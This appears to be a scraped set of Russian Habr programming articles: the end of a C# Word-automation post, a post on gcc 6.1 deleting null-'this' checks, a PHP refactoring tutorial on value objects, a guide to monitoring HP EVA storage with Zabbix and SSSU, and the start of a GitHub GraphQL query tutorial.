> ddoc.Range(ref oMissing, ref oMissing).InsertParagraphAfter();
>
> };
>
> \* This source code was highlighted with Source Code Highlighter.`
И начинаем заполнять от конца к началу, чем получаем бешенный прирост скорости, т.к. обращаемся по индексу параграфа, а не ищем каждый раз конец документа. Само заполнение выглядит следующим образом (sdoc – временный документ, в который подставляем значения, ddoc – тот который должен получится):
> `for (int i = rowCount; i > 0; i--)
>
> {
>
> if (i < rowCount)
>
> {
>
> ddoc.Paragraphs[i].Range.InsertParagraphAfter();
>
> ddoc.Paragraphs[i + 1].Range.InsertBreak(ref pageBreak);
>
> };
>
> //подставляем слова во временный документ
>
> foreach (keyWordEntry ke in keyWordEntries)
>
> {
>
> string replaceWith = "";
>
> switch (ke.keyword)
>
> {
>
> //тут логика подстановки
>
> default:
>
> replaceWith = ke.keyword+ke.spacesAfter;
>
> break;
>
> };
>
> sdoc.Words[ke.position].Text = replaceWith;
>
> };
>
> sdoc.Range(ref oMissing, ref oMissing).Copy();
>
> ddoc.Paragraphs[i].Range.Paste();
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
По-существу всё, осталось сохранить полученный документ и корректно завершить процесс ворда.
Еще пару слов в догонку: символы '.', ',', '\*' и все остальные, ворд считает отдельным словом и если вам нужно вставит, например, дату, то логика слегка усложнится.
Код примера можно скачать [тут](http://unconnected.info/trash/wordLinker.zip) | https://habr.com/ru/post/106425/ | null | ru | null |
# Оптимизация сравнения this с нулевым указателем в gcc 6.1
Хорошие новостиTM ждут пользователей gcc при [переходе на версию 6.1](https://gcc.gnu.org/gcc-6/porting_to.html) Код такого вида (взят [отсюда](https://habrahabr.ru/company/abbyy/blog/205070/)):
```
class CWindow {
HWND handle;
public:
HWND GetSafeHandle() const
{
return this == 0 ? 0 : handle;
}
};
```
«сломается» — при вызове метода через нулевой указатель на объект теперь может происходить разыменование нулевого указателя, потому что компилятор теперь может просто взять и удалить проверку. Код, конечно, с самого начала сломан, а gcc 6.1 его только немного доломает.
Проверять удобно на [gcc.godbolt.org](http://gcc.godbolt.org/) В настройках укажем *-O2*
Код для начала будет такой:
```
struct CWindow {
CWindow() : handle() {}
int handle;
int GetSafeHandle() const
{
return (this == 0) ? 1 : handle;
}
};
int main()
{
CWindow* wnd = 0;
return wnd->GetSafeHandle();
}
```
Выбираем в списке gcc 6.1 и получаем…
```
main:
movl 0, %eax
ud2
```
ОХ ЩИ~ Сработала подстановка тела функции по месту вызова, gcc заметил разыменование нулевого указателя и добавил вызов *\_\_builtin\_trap()*, который затем привел к появлению в машинном коде «недопустимой инструкции», которая в свою очередь при работе программы должна приводить к ее аварийному завершению.
Для сравнения gcc 5.3 для того же кода выдает:
```
main:
movl $1, %eax
ret
```
gcc 5.З здесь не замечает разыменование нулевого указателя и компилирует «как написали».
Чтобы, наконец, получить код со сравнением указателя, добавим на *CWindow::GetSafeHandle()* атрибут *\_\_attribute\_\_ ((noinline))*, чтобы запретить подстановку кода в место вызова. Объявление метода будет выглядеть так:
```
int GetSafeHandle() const __attribute__ ((noinline))
```
Теперь gcc 5.3 выдает такой машинный код:
```
CWindow::GetSafeHandle() const:
testq %rdi, %rdi
je .L1
movl (%rdi), %eax
ret
.L1:
movl $1, %eax
ret
main:
xorl %edi, %edi
jmp CWindow::GetSafeHandle() const
```
Здесь в самом начале *GetSafeHandle()* выполняется сравнение указателя *this* с нулем (инструкция *testq*) и условный переход (инструкция *je*). Для сравнения gcc 6.1:
```
CWindow::GetSafeHandle() const:
movl (%rdi), %eax
ret
main:
xorl %edi, %edi
jmp CWindow::GetSafeHandle() const
```
Здесь никакого сравнения нет – сразу выполняется разыменование. Это и есть то самое отличие, которое доломает код, «успешно работавший» многие годы и десятки лет.
Отдельного внимания заслуживает использование регистра *rdi*. Вызывающий код обнуляет *edi* – половину *rdi*, а вызываемый код ДОВОЛЬНО НЕОЖИДАННО – использует наполовину обнуленный *rdi*. Конечно, в этом нет никакого смысла, но поскольку код изначально содержит неопределенное поведение (разыменование нулевого указателя), к компилятору никаких претензий быть не может – компилирует как сочтет нужным, Стандартом не запрещено.
Новое поведение задействуется по умолчанию, начиная с уровня оптимизации O1. Оно отключается параметром *-fno-delete-null-pointer-checks* – поведение становится таким же, как в gcc 5.3
Читатели, возможно, негодуют – опять компилятор «ломает» код и не выдает предупреждений! Выдает, но не очень. Предупреждение *-Wnonnull-compare* («заведомо ненулевой *this* сравнивается с нулевым указателем») выключено по умолчанию, его можно включить, указав *-Wall*. В коде ниже оно выдается в зависимости от наличия дополнительных пар скобок вокруг сравнения:
```
int GetSafeHandle() const __attribute__ ((noinline))
{
if (this == 0) // -Wnonnull-compare
return 1;
if((this == 0))
return 1; // нет предупреждения
return this == 0 ? 1 : handle; // -Wnonnull-compare
return (this == 0) ? 1 : handle; // нет предупреждения
}
```
Такое влияние скобок — это явно ошибка в gcc.
Кроме того, если убрать вызов *GetSafeHandle()* из *main()*, предупреждение также более не выдается – компилятор знает, что единица трансляции одна и этот код заведомо не вызывается, код функции удаляется раньше, чем отрабатывает поиск сравнений this с нулевым указателем. Решение, выдавать ли предупреждение, принимается «слишком поздно» — в момент, когда код удален.
Предупреждение *-Wnonnull-compare* не выдается, если используется параметр *-fno-delete-null-pointer-checks*
Теперь clang…
Начиная с версии 3.5 с настройками по умолчанию clang выдает *-Wtautological-undefined-compare* на фрагменты:
```
if (this == 0);
(this == 0) ? 1 : handle;
if(this != 0);
(this != 0) ? handle : 1;
```
и *-Wundefined-bool-conversion* на фрагменты:
```
if(this);
this ? handle : 1;
if(!this);
!this ? 1 : handle;
```
При этом до версии 3.8 включительно (3.8 — самая новая выпущенная версия на данный момент) сравнение не удаляется (кроме случая, когда код функции подставляется в место вызова и оптимизируется с окружающим кодом).
Компилировать старый или беззаботно написанный новый код с неопределенным поведением становится *все интереснее и интереснее*.
*Дмитрий Мещеряков,
департамент продуктов для разработчиков* | https://habr.com/ru/post/308346/ | null | ru | null |
# Киски: Рефакторинг. Часть третья или причесываем шероховатости
В [первой](http://habrahabr.ru/post/262995/) и [второй](http://habrahabr.ru/post/263139/) частях серии статей мы проделали немного работы по разделению того кода и тех лишних действий, которые мы понаписали в одной функции. В основном же мы имели дело с классами HttpClient и Cache, и их разными реализациями, чтобы написать тестируемый клиент для апи кисок.
#### Представление данных
До этого мы обращали много внимания на поведение и общую структуру кода, но заб~~и~~ывали про на данные, с которыми имеем дело. Сейчас у нас все является строками, включая возвращаемое значение CatApi::getRandomImage(). То есть вызывая этот метод, мы «знаем», что получим строку. Говорю «знаем», так как PHP может вернуть все — объект, ресурс, массив и т.д. Тем не менее, хоть в случае с RealCatApi::getRandomImage() мы и можем быть уверенны, что нам придет строка, так как мы явно приводим значение к ней, мы не можем точно сказать, что эта строка будет «полезна» (валидна) для того, кто вызвал этот метод: это может быть и пустая строка, строка, которая не содержит URL (типа «I am not a URL») и так далее.
```
class RealCatApi implements CatAPi
{
...
/**
* @return string URL of a random image
*/
public function getRandomImage()
{
try {
$responseXml = ...;
} catch (HttpRequestFailed $exception) {
...
}
$responseElement = new \SimpleXMLElement($responseXml);
return (string) $responseElement->data->images[0]->image->url;
}
}
```
Чтобы сделать наш код правильнее и надежнее, хорошим решением будет сделать так, чтобы мы были уверены в том, что возвращаем корректное значение.
Первое, что мы можем сделать — проверить *пост-условия* нашего метода:
```
$responseElement = new \SimpleXMLElement($responseXml);
$url = (string) $responseElement->data->images[0]->image->url;
if (filter_var($url, FILTER_VALIDATE_URL) === false) {
throw new \RuntimeException('The Cat Api did not return a valid URL');
}
return $url;
```
Хоть и правильно, но может плохо читаться. Будет еще хуже, если появится еще несколько функций, которым также требуются подобные проверки. Нужно как-то переиспользовать эту логику валидации. В любом случае, возвращаемое значение сейчас все еще остается такой же бесполезной строкой и будет круто, если мы заверим всех, что это действительно URL. В таком случае, уже любая часть программы, которая использует метод CatApi::getRandomImage(), будет точно знать, что это URL, в нем нет ошибок и вообще это не email какой-нибудь.
#### Объект-значение для URL
Вместо написания пост-условий для реализаций CatApi::getRandomImage(), мы можем написать пред-условия для URL наших картинок. Как мы удостоверимся, что URL картинки может существовать лишь в том случае, когда он валиден? Правильно, создадим еще один объект и удостоверимся, что он не создается с использованием чего-нибудь, что не является валидным адресом:
```
class Url
{
private $url;
public function __construct($url)
{
if (!is_string($url)) {
throw new \InvalidArgumentException('URL was expected to be a string');
}
if (filter_var($url, FILTER_VALIDATE_URL) === false) {
throw new \RuntimeException('The provided URL is invalid');
}
$this->url = $url;
}
}
```
Такой тип объекта называется объект-значение ([value-object](http://martinfowler.com/bliki/ValueObject.html)).
Такой объект невозможно создать неправильным:
```
new Url('I am not a valid URL');
// RuntimeException: "The provided URL is invalid"
```
Теперь любой объект класса URL точно представляет валидный адрес, другого быть не может. Можем снова поменять код нашей функции, чтобы возвращать новый объект:
```
$responseElement = new \SimpleXMLElement($responseXml);
$url = (string) $responseElement->data->images[0]->image->url;
return new Url($url);
```
Обычно, у value-объектов есть методы для их создания из примитивных типов и конвертирования в них, чтобы была возможность подготовить их для сохранения/загрузки, или же создания из других value-объектов. Для этого случая нам понадобятся методы fromString() и \_\_toString(). Также, эти методы приводят к тому, что появляется возможность реализации методов параллельного создания (таких как fromParts($scheme, $host, $path, ...)) и специлаьных геттеров (host(), isSecure()..). Конечно, не стоит писать эти методы до того, как они действительно понадобятся.
```
class Url
{
private $url;
private function __construct($url)
{
$this->url = $url;
}
public static function fromString($url)
{
if (!is_string($url)) {
...
}
...
return new self($url);
}
public function __toString()
{
return $this->url;
}
}
```
Теперь нужно изменить метод getRandomImage() и убедиться, что значение для картинки по-умолчанию также возвращается как URL объект:
```
class RealCatApi implements CatAPi
{
...
/**
* @return Url URL of a random image
*/
public function getRandomImage()
{
try {
$responseXml = ...;
} catch (HttpRequestFailed $exception) {
return Url::fromString('http://cdn.my-cool-website.com/default.jpg');
}
$responseElement = new \SimpleXMLElement($responseXml);
return Url::fromString((string) $responseElement->data->images[0]->image->url);
}
}
```
Естественно, подобные изменения отразятся в интерфейсе Cache и любом классе, который реализует его (FileCache, например) — поэтому нужно чтобы тот принимал и возвращал URL объекты:
```
class FileCache implements Cache
{
...
public function put(Url $url)
{
file_put_contents($this->cacheFilePath, (string) $url);
}
public function get()
{
return Url::fromString(file_get_contents($this->cacheFilePath));
}
}
```
#### Разбираем XML ответ
Остается изменить вот эту часть кода:
```
$responseElement = new \SimpleXMLElement($responseXml);
$url = (string) $responseElement->data->images[0]->image->url;
```
Честно говоря, я сам не люблю SimpleXML, но проблема здесь не в нем. Проблема здесь в том, что мы всегда ожидаем, что получим валидный ответ, содержащий корневой элемент, содержащий один элемент с названием data, который содержит как минимум один элемент images, содержащий один элемент image, у которого есть один элемент url, значение которого, как нам кажется, строка — URL адрес. В любой точке этой цепочки, предположение может быть ошибочным и это приведет к ошибке.
Наша задача на данный момент — обрабатывать эти ошибки, вместо того, чтобы PHP кидал исключения. Для этого снова определим свое исключение, которое затем будем ловить. И снова мы должны скрыть все детали о том, какие названия элементов и иерархия существует XML ответе. Такой объект, также, должен обработать любые исключения. Первым шагом будет введение простого DTO (data transfer object), представляющего сущность изображения от апи кисок.
```
class Image
{
private $url;
public function __construct($url)
{
$this->url = $url;
}
/**
* @return string
*/
public function url()
{
return $this->url;
}
}
```
Видно, что этот DTO скрывает такие понятия как , и другие элементы из ответа. Мы заинтересованы лишь в URL адресе, поэтому мы делаем возможным доступ к нему через простой геттер url()
Теперь код в getRandomImage() выглядит как-то так:
```
$responseElement = new \SimpleXMLElement($responseXml);
$image = new Image((string) $responseElement->data->images[0]->image->url);
$url = $image->url();
```
Как видно, это пока не очень помогает, так как мы все еще зависим от этой цепочки XML элементов.
Вместо создания DTO напрямую, лучше будет сделать это через фабрику, которая будет знать о том, какая структура будет у XML ответа.
```
class ImageFromXmlResponseFactory
{
public function fromResponse($response)
{
$responseElement = new \SimpleXMLElement($response);
$url = (string) $responseElement->data->images[0]->image->url;
return new Image($url);
}
}
```
Остается лишь внедрить инстанс ImageFromXmlResponseFactory в класс RealCatApi, это сократит код в методе RealCatApi::getRandomImage() до такого состояния:
```
$image = $this->imageFactory->fromResponse($responseXml);
$url = $image->url();
return Url::fromString($url);
```
Вынесение кода подобным образом дает возможность писать некоторые вещи лучшим образом. Маленькие классы проще тестировать. Как я и указывал ранее, наши тесты все еще тестируют, в основном, «идеальный сценарий» и большинство граничных случаев не покрыто тестами. Вот, например, что может случиться.
1. Пустой ответ от сервера
2. Битый XML
3. Валидный XML, структура которого поменялась
4. ...
Вынося логику обработки XML в отдельные классы, вы сможете сфокусировать только на тех вещах, которые отвечают именно за эту задачу. И это дает возможность использовать реальный TDD, в котором вы определяете ситуацию (как в списке выше) и ожидаемые результаты.
#### Заключение
На этом, серия «Refactoring the Cat API client» (*Киски: Рефакторинг*) подходит к концу и, надеюсь, она вам понравилась. Если у вас есть предложения по улучшению — радости просим в комментарии к посту. Удачи! | https://habr.com/ru/post/263333/ | null | ru | null |
# Как бесплатно мониторить массивы HP EVA с помощью Zabbix: два варианта решения
Привет, Хабр! В данной статье мы рассмотрим процесс настройки мониторинга массивов семейства HP EVA (Enterprise Virtual Array) с помощью Open Source продукта Zabbix, объясним, как получать и обрабатывать данные с массива, покажем, с какими проблемами можно столкнуться при настройке, а также расскажем о двух вариантах реализации системы мониторинга.
### Изучаем пациента
Итак, перед нами была поставлена задача — настроить мониторинг массива HP EVA 6000-й серии, конец жизненного цикла (EOL) которых наступил еще в 2014–2015 гг., но они до сих пор нередко встречаются у наших заказчиков. При беглом взгляде на документацию к этому аппарату мы увидели пункт о настройке SNMP и подумали: «Ну, тут работы максимум на полчаса: проставить пару галочек и докинуть шаблон». Ничто не предвещало сложностей — берем шаблон для HP-массивов, коих у нас накопилось немало, или вооружаемся мибами и делаем свой.
Попросили коллег проверить, включен ли доступ по SNMP, и создать какое-нибудь community для мониторинга. Ребята отвечают, что не нашли в CV (инструмент для управления массивом) или веб-интерфейсе никаких пунктов, связанных с SNMP.
Но как же так? Мы же видели! А, постойте...
 Рисунок 1. Пример настройки SNMP-трапов из документации HP (Источник: «Инфосистемы Джет»).Перечитываем документацию, и действительно: «**There are two ways in which HP SIM can receive events: SNMP and WBEM**». HP SIM (Systems Insight Manager) — это ПО, предназначенное для управления и отслеживания состояния оборудования HP. Некая центральная консоль с кучей возможностей и, конечно же, отдельной платной лицензией. Отправлять трапы на сторонний сервер СХД не умеет, и подключиться к ней по WBEM/SNMP тоже нельзя.
### Ищем подход
Поняв, что никаких привычных интерфейсов для взаимодействия с массивом нет, мы стали искать информацию по какому-нибудь API или SDK. И такой вариант нашелся — **HP Storage System Scripting Utility** (SSSU). Это утилита для автоматизации работы с СХД, которая существует под Windows и Linux. Ее можно скачать с официального сайта в составе утилиты Command View или найти в виде отдельного бинарного файла. Судя по отзывам на форуме вендора, между версией SSSU и версией прошивки массива есть зависимость, но найти какую-то внятную матрицу совместимости не удалось.
Также поиск натолкнул нас на статьи по настройке мониторинга этого семейства массивов в Nagios, и даже был какой-то пакет VBA-скриптов и простенький шаблон для Zabbix. Их авторы тоже использовали SSSU для сбора информации и, похоже, это единственный вариант.
### Изучаем интерфейс
Способ коммуникации найден, теперь нужно попробовать связаться с железом и что-нибудь у него «спросить». Изначально мы решили использовать Linux-версию SSSU, так как это дает нам следующие преимущества:
* можно использовать «внешние проверки» и запускать утилиту прямо из Zabbix-сервера;
* не нужно хранить в мониторинге или обновлять в локальных конфигах информацию о том, куда инсталлирован SSUU/CV;
* можно применять богатый инструментарий для обработки вывода.
Только вот найти эту «Linux-версию» оказалось непросто, сказался возраст утилиты и ее отсутствие в виде отдельного пакета на CDN вендора. Каким-то чудом удалось отыскать древний пост на вендорском форуме, который вел на FTP-сервер с заветным файлом.
[4 версия](https://drive.google.com/file/d/13hKgA68isS1_E_Z716mgS87-tUhvgvgq/view?usp=sharing) и [6 версия](https://drive.google.com/file/d/1sm-enV2HFDc3TRmbpd-7vMoYXSdWHpII/view?usp=sharing).
*Листинг 1. Информация о найденном бинаре.*
```
user@server hptools]# file sssu
sssu: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
```
Смотрим в [документации,](https://support.hpe.com/hpesc/public/docDisplay?docId=emr_na-c03375122) как работать с этой утилитой, и там все неплохо. SSSU может запускаться без параметров и работать в интерактивном режиме, или можно передать необходимую последовательность команд и получить вывод. Также она может отдавать данные в виде XML-документов, а структурированный вывод данных — это именно то, что мы искали.
Чтобы начать работать, мы должны подключиться к CommandView — для этого заранее следует создать там учетную запись. Подключиться можно, задав все параметры в файле sssu.cfg (он должен находиться в той же директории, что и SSSU):
*Листинг 2. Пример конфигурационного файла SSSU.*
```
Section login
{
SET OPTIONS CV_PORT=2372
SELECT MANAGER localhost username=admin password=secretPassword
SELECT SYSTEM you_system_name
}
Section Options
{
SET OPTIONS NOCOMMAND_DELAY
SET OPTIONS EXIT_ON_ERROR
SET OPTIONS DISPLAY_STATUS
}
```
По сути, это просто набор команд, который будет выполняться при запуске утилиты. Либо можно передать эти же команды в виде параметров:
*Листинг 3. Пример запуска SSSU в не интерактивном режиме.*
```
[user@server hptools] ./sssu 'SELECT MANAGER 10.10.11.12 username=admin password=secretPassword'
```
После авторизации нужно указать, к какому массиву мы будем подключаться. Полный список систем можно посмотреть командой «LS SYSTEM», а, чтобы выбрать конкретную, использовать «SELECT SYSTEM **system\_name**».
После авторизации можно передавать команды. Нас интересуют следующие:
* LS CONTROLLER,
* LS DISK,
* LS DISK\_GROUP,
* LS DISKSHELF,
* LS VDISK.
Выполняя команды «LS \*» без аргументов, мы будет получать список выбранных компонентов. Также можно передать ряд параметров:
* LS item\_name — вывод данных по конкретному объекту;
* LS item\_name XML — вывод информации по объекту в формате XML;
* LS FULL XML — вывод информации по всем объектам выбранного компонента в формате XML.
Рисунок 2. Пример вывода команд с разными аргументами (Источник: «Инфосистемы Джет»).Итоговый набор команд для получения списка контроллеров в не интерактивном режиме будет выглядеть так:
*Листинг 4. Пример полной команды для получения данных*
```
[user@server hptools] ./sssu 'SELECT MANAGER 10.10.11.12 username=admin password=secretPassword' 'SELECT SYSTEM sys1' 'LS CONTROLLER FULL XML'
```
### Приступаем к реализации
Изначально у нас было три варианта решения задачи: модуль для Zabbix-сервера, сторонний скрипт для парсинга данных и возможность сделать все встроенными средствами Zabbix. От идеи с модулем пришлось отказаться, т. к. это заняло бы неоправданно много времени на реверс-инжиниринг утилиты или ее протокола (все общение, кстати, зашифровано, а найти исходный код не удалось).
### Всё свое ношу с собой
Рассмотрим сначала вариант, где мы решили обойтись только средствами Zabbix. На старте мы имеем:
* SSSU, который отдает нам XML;
* автоматическое [обнаружение](https://www.zabbix.com/documentation/6.0/ru/manual/discovery/low_level_discovery) элементов данных;
* различные средства [предобработки](https://www.zabbix.com/documentation/6.0/ru/manual/config/items/preprocessing) данных в Zabbix, включая XPath, JSONPath;
* возможность писать свои скрипты для обработки полученных данных.
В целом всего этого должно хватить с головой, а наша первоначальная задача — получить список компонентов и преобразовать их в формат, понятный механизму LLD Zabbix. Начинаем с опроса контроллеров и смотрим на вывод команды «LS CONTROLLER». Полный вывод мы специально опускаем, т. к. он не принципиален, важна только структура.
Рисунок 3. Структура возвращаемых данных (Источник: «Инфосистемы Джет»).Сразу видим, что, кроме данных, выводятся все выполненные команды, да и XML у нас не цельный, а представляет собой блоки с описанием каждого объекта. Это мы поправим предобработкой. Сейчас нам интересна вложенность элементов внутри **object**. Внутри есть объекты **sensors** и **hostports**, которые содержат в себе информацию о состоянии и нужны нам. Кроме как через эту команду, получить данные нельзя, да и еще количество элементов может меняться в зависимости от типа контроллера.
Тут мы или просто нарезаем в шаблоне энное число айтемов и триггеров, которые будут вытаскивать нужные значения из определенных нами тегов XML, или делаем правило автоматического обнаружения. Первый вариант непрактичный и будет требовать ручного вмешательства, зато простой. Мы решили остановиться на втором.
Для начала создаем метрику, которая будет хранить всю информацию по контроллерам. Для этого создаем элемент типа «Внешняя проверка» (бинарь SSSU, должен находиться в директории /usr/lib/zabbix/externalscripts) и в качестве ключа указываем следующее значение:
*Листинг 5. Пример ключа для сбора данных*
```
sssu["SELECT MANAGER {$CV.IP} username={$CV.USERNAME} password={$CV.PASSWORD}", "SELECT SYSTEM {$CV.SYSTEM}", "LS CONTROLLER FULL XML"]
```
Далее нам нужно из полученного вывода вытащить блоки с XML, объединить их в единый контейнер и преобразовать все это «добро» в JSON. JSON-документ нам нужен для того, чтобы потом было проще достать из него необходимые данные и удобнее формировать массив с именами компонентов в правилах обнаружения. Создаем новый шаг предобработки типа «JavaScript» и используем следующий код:
*Листинг 6. Правило препроцессинга для трансформации XML в JSON*
```
const regex = /(<\w+>.*<\/\w+>|<\w+>|<\/\w+>)/gm;
var xml_data = '\n' + value.match(regex).join('\n') + '';
return XML.toJson(xml_data);
```
С помощью регулярного выражения выбираем все теги и информацию, заключенную между ними (тегов с цифрами в выводе SSSU не встречается), далее помещаем полученные объекты в один родительский контейнер **controllers** и выполняем преобразование в JSON.
Рисунок 4. Результат работы полученного шага (Источник: «Инфосистемы Джет»).Теперь создаем правила обнаружения, где в качестве типа будет выступать «зависимый элемент», а с помощью предобработки мы сформируем из мастера метрики список элементов (датчиков, хостпортов, девайспортов, данных по самим контроллерам).
Поскольку механизм везде будет одинаковым, приведу пример только для датчиков. Вот так выглядят настройки обнаружения и наш js-обработчик:
Рисунок 5. Создаем элемент, зависящий от элемента, хранящего полный вывод в JSON-формате (Источник: «Инфосистемы Джет»).*Листинг 7. Формирование списка контроллеров и их датчиков*
```
var controllers_obj = JSON.parse(value);
var data = [];
for (c_id in controllers_obj.controllers.object) {
for ( s_id in controllers_obj.controllers.object[c_id].sensors.sensor ) {
data.push('{ "{#CONTROLLER_NAME}": "' + controllers_obj.controllers.object[c_id].controllername +
'", "{#SENSOR_NAME}": "' + controllers_obj.controllers.object[c_id].sensors.sensor[s_id].name + '" }')
}
}
return '{ "data": [' + data.join(',') + ']}';
```
Тут все просто: проходимся по JSON’у и достаем из него список контроллеров и список связанных с ними датчиков. После этого формируем [JSON в формате, понятном правилу обнаружения](https://www.zabbix.com/documentation/6.0/ru/manual/discovery/low_level_discovery), чтобы автоматически создавались/удалялись элементы данных под каждый обнаруженный элемент СХД.
Осталось создать прототип метрики (он также будет зависеть от нашего здоровенного JSON’a) и с помощью функции JSONPath доставать из него данные.
Рисунок 6. Прототип элемента данных (Источник: «Инфосистемы Джет»).В списке обработчиков выбираем функцию JSONPath и вводим следующий фильтр:
```
$.controllers.object[?(@.controllername=='{#CONTROLLER_NAME}')].sensors.sensor[?(@.name=='{#SENSOR_NAME}')]["operationalstate"]
```
Он позволит достать значение сенсора с именем из макроса {#SENSOR\_NAME} для контроллера {#CONTROLLER\_NAME}. Добавим еще один шаг — TRIM с параметром «[]. Поскольку мы ищем данные среди массива элементов, JSONPath также вернет нам статус в виде массива из одного элемента, а с помощью трима мы обрежем обрамляющие значение символы.
Рисунок 7. Предобработка прототипа данных (Источник: «Инфосистемы Джет»).Данные возвращаются в виде литер good/warning/bad, поэтому создаем новый триггер на основе функции find и проверяем, что там обнаружил мониторинг.
Рисунок 8. Пример обнаруженных устройств (Источник: «Инфосистемы Джет»).Аналогичным образом создаем правила обнаружения для хост/девайс-портов и метрик самих контроллеров. Меняться будут только пути до элементов JSON-объекта в самих правилах и получаемых элементах данных. При такой реализации все завязано на главную метрику, поэтому частота опроса для всех потомков будет одинакова. Также следует добавить триггер, проверяющий наличие данных в мастер-метрике. Схема получается следующая:
Рисунок 9. Поток данных в системе мониторинга (Источник: «Инфосистемы Джет»).Немного будет отличаться картина с мониторингом дисков, т. к. тут вступает в силу одно неприятное ограничение Zabbix. Метрики типа text/log могут сохранить максимум **64 Кб** данных, а всё, что больше этого значения, будет обрезаться перед сохранением в БД. Поэтому трюк с созданием одной мастер-метрики, собирающей данные по всем дискам за один раз, не прокатит.
Но обойти это ограничение можно, если мы будет получать в правиле обнаружения только имена дисков, и потом уже в прототипе данных создавать мастер айтем, который будет хранить данные по конкретному диску. К минусам такого решения можно отнести:
* нельзя забрать данные за один раз, на больших инсталляциях СХД возможны проблемы с опросом;
* теряется возможность динамически обнаруживать вложенные объекты, т. к. мы не можем создавать правила обнаружения внутри других правил или обращаться к прототипам других правил.
Рисунок 10. Обнаружение дисков (Источник: «Инфосистемы Джет»).### Свой обработчик
Итак, в прошлой главе мы разобрались, что можно ~~сделать из буханки хлеба троллейбус~~ обойтись «малой кровью» и решить проблему встроенными инструментами. Но нам не давали покоя проблемы, с которыми мы столкнулись при опросе дисков. Также, если у нас большое число подобных массивов, то все эти правила предобработки могут оказывать влияние на производительность мониторинга в целом. Последней проблемой является высокая связанность метрик между собой, что усложняет поддержку решения. Тогда мы задумались над реализацией собственного демона (программы в Unix/Linux-системе, которая запускается и работает в фоновом режиме), который возьмет на себя функции сбора, обработки и отправки в мониторинг полученных данных.
Собирать данные из СХД мы научились, а отправлять их в мониторинг будем с помощью Zabbix-траппера. Для тех, кто не знаком с этим термином: Zabbix поддерживает pull-модель сбора данных, т. е. мы можем из своих скриптов/продуктов отправлять данные напрямую в сервер мониторинга. Серверу, кроме самих данных, нужно передать ключ метрики (элемент должен иметь тип «Zabbix-траппер») и имя узла сети. Главное в этом случае — придерживаться [описанного разработчиками формата сообщения](https://www.zabbix.com/documentation/current/en/manual/appendix/items/trapper) либо использовать утилиту Zabbix\_sender.
Вот примерная схема, где из конфиг-файла будет вычитываться список массивов с информацией по подключению, далее под каждый массив создаваться пара потоков, внутри которых в бесконечном цикле выполняться функция-обработчик. В функции-обработчике будет устанавливаться тайм-аут для управления частотой опроса, который также находится в конфиге. Дополнительно будет запущен поток HeatlhCheck, периодически отправляющий в мониторинг данные о состоянии демона. При возникновении ошибок или исключений трейсы и логи о событии также будут отправлены в систему мониторинга, что позволит упростить диагностику.
Решение мы реализовали на Python с использованием библиотек PyZabbix и lxml. Кстати, в отличие от ограниченного функционала JS в Zabbix мы можем работать с XML-файлами напрямую, без конвертации их в JSON и без использования JSONPath. Просто будем обходить XML-дерево и читать из его компонентов значения.
Рисунок 11. Схема демона обработчика данных (Источник: «Инфосистемы Джет»).Потоки, обозначенные на схеме как «LLD Thread», занимаются обнаружением компонентов массива. Обработчик внутри выполняет команды SSSU с флагом FULL XML и, обходя полученное дерево, извлекает из него имена компонентов, которые потом формируют JSON-объект, передаваемый мониторингу. Мониторинг, в свою очередь, создает по этим спискам все необходимые метрики с типом «Zabbix-траппер» и триггеры, которые будут наполняться данными.
За этот процесс отвечает вторая группа потоков «Data Thread», которая также получает вывод SSSU, парсит его, подготавливает список метрик, заполняет его данными и отправляет в мониторинг.
Для получения данных реализована функция get\_xml, которая, как и в случае с Zabbix, вытаскивает из вывода SSSU теги и оборачивает их в один XML-контейнер.
Рисунок 12. Функция получения данных SSSU (Источник: «Инфосистемы Джет»).На данном этапе может возникнуть вопрос: а как мы связываем метрики в Zabbix и в нашем скрипте? Ответ прост: с помощью ключей элементов данных. Правила обнаружения создают под каждый компонент СХД набор элементов данных с одинаковыми ключами, у которых отличаются только аргументы.
Рисунок 13. Пример создания элементов через внешний скрипт (Источник: «Инфосистемы Джет»).На стороне скрипта мы просто подставляем имя компонента в ключ и данные. Если указанной метрики нет в мониторинге (например, добавили диск, а он еще не успел обнаружиться), то он просто отбросит это значение.
Создаем Docker-контейнер для нашего скрипта и темплейт под опрашиваемые метрики, нарезаем необходимые графики, триггеры, макросы для пороговых значений и любуемся результатом.
### Заключение
Мы верим, что этот гайд будет полезен опытным пользователям, а новички смогут оценить, каким функционалом по обработке данных располагает Zabbix. Хоть в данном случае мы все же пришли к решению на основе самописного модуля, возможности Zabbix по предобработке данных с помощью JavaScript также позволили достигнуть поставленной задачи, пусть и не самым элегантным способом.
*Jet Service Team,
Инфосистемы Джет* | https://habr.com/ru/post/701026/ | null | ru | null |
# GraphQL запрос на GitHub
[В прошлый раз](https://habr.com/ru/post/569556/) мы сделали простой запрос на получение списка репозиториев пользователя. Там был только код и ни чего лишнего. В этот раз попытаемся разобраться с внутренней схемой устройства ГрафКьюЭль
GraphQL –можно понимать как язык для работы с API или как интерфейс связи. Официальную документацию вы можете найти тут: <https://graphql.org/learn/> либо тут: <http://spec.graphql.org/June2018/#sec-Overview>. ГрафКьюЭль - это уже четвёртая попытка GitHub сделать лучший API для своих пользователей (предъидущей был REST API).
Если вы уже знакомы с токенами и основными принципами работы API, то введение в терминологию по GraphQL Вы можете прочитать здесь: <https://docs.github.com/en/graphql/guides/introduction-to-graphql> . Если нет – могу порекомендовать прочитать короткую статью с учебным примером. А в данном материале мы более подробно рассмотрим простейшие операции и постараемся разобраться с общей структурой.
Запросы GraphQL отправляются только в формате JSON (больше нет, как такового, метода get, можно только запостить гет-запрос) и возвращают только данные, запрашиваемые в явном виде и только из места, явно указанного в запросе. Это означает, что информация передаются только в виде скаляров (данные, принадлежащие к типам Int, Float, Boolean, String, ID и т.п.) и только если указан полный путь к полю, содержащему нужную информацию. Если вы попытаетесь вернуть поле, которое не является скаляром, проверка схемы выдаст ошибку. Вы должны добавлять вложенные подполя, пока все поля не вернут скаляры.
**«GET-запрос»**
Типичный запрос на GitHub будет выглядеть примерно так:
```
'query' : '{'
'repository(owner:"octocat", name:"Hello-World") {'
'issues(last:20, states:CLOSED) {'
'edges {'
'node {title, url}'
'}'
'}'
'}'
'}'
```
*(pycharm сам расставляет мне кавычки для каждой строки, т.к. реально запрос находится внутри словаря)*
Данный запрос выполняет поиск в репозитории octocat/Hello-World, находит 20 последних закрытых проблем и возвращает название каждой проблемы и её URL-адрес
Разберём запрос построчно:
`query : {`
Операция объявления переменной чтения данных
